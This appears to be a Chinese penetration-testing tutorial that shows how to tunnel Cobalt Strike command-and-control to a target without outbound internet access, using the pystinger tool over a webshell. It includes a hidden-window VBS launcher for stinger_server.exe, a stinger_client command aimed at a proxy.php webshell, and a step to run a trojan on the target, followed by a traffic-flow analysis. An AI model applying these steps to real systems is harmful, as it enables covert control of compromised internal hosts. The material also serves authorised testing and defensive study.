KeePass
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
介绍: 在渗透测试过程中会出现目标机器不通外网的情况,本文介绍通过pystinger工具实现上线。
0x00 前言
在普通渗透测试过程中,总会遇到一种情况,在该种情况下,系统只是内网服务器做的端口映射,并且该服务器不通外网,这样平常情况无法实现CS
上线操作。通过pystinger
工具可以实现上线操作。
0x01 使用方法
假设我们在拿下一台目标主机,但是该主机只是做端口映射,无法连接外网。
使用pystinger
工具进行 CS 上线,下载地址,通过webshell
实现内网SOCK4
代理,端口映射可以使目标不出网情况下在 CS 上线。
首先上传对应版本脚本到目标服务器。
将stinger_server.exe
上传到目标服务器,在目标机上创建stinger_server.vbs
文件,示例如下:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c D:\XXXXX\stinger_server.exe 0.0.0.0",vbhide
执行vbs
脚本,启动服务。
把stinger_client
上传到teamserver
服务器,-w
指定proxy
的url
地址运行。
chmod +x stinger_client
./stinger_client -w http://x.x.x.x/proxy.php -l 0.0.0.0 -p 60000
CS
新建监听器,设置为目标机器的内网IP
,端口默认60020
。(teamserver
服务器和执行stinger_client
应为同一台服务器)
生成木马,上传目标服务器并执行。可看到CS
有新上线主机。
成功访问内网网段。
这里我只测试了Windows
版本,有兴趣的可以尝试一下Linux
版本。
0x02 原理剖析
实验室的一个大佬拍着我的肩膀说,知其然也要知其所以然。所以我开始研究起来它的原理。在成功访问到内网之后,我查看了进程信息以及端口连接信息。经过一个多小时的梳理,我发现存在以下可用端口连接及进程信息。
首先梳理一下。
stinger_server.exe PID 2424
httpd.exe PID 3784
artifact.exe PID 3600
httpd.exe. PID 800
那么在服务器上存在这样一个数据流向,来自192.168.76.1
(因为我使用76.1
做代理服务器进行的端口映射) 访问proxy.php
的流量进入目标主机 80 端口,而后proxy.php
基于httpd
服务发起新的连接,数据进入PID 3784
的进程控制。
在进入PID 3784
进程后,本机60793
端口对60010
端口进行连接,并且60010
端口开启监听的是stinger_server.exe
。随后数据被其接收。
最后stinger_server.exe
使用60020
端口与artifact.exe
进行交互。至此目标机端数据流向分析完毕。
继而在自己的teamserver
服务器上发现以下连接。
发现teamserver
中上线的主机连接是由stinger_client
发起的,这么分析的话,stinger_client
是一个桥梁作用,连接teamserver
和被控主机。下图39.82.XX.XX:5000
即为我测试过程中使用的 IP,该进程由stinger_client
发起也就证实了我的猜测。
以上分析完之后,所有的流量走向已经搞明白了。
0x03 结束语
果然大佬说的没错,知其然,知其所以然。
路漫漫其修远兮,吾将上下而求索。
作者: Mr-hello
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
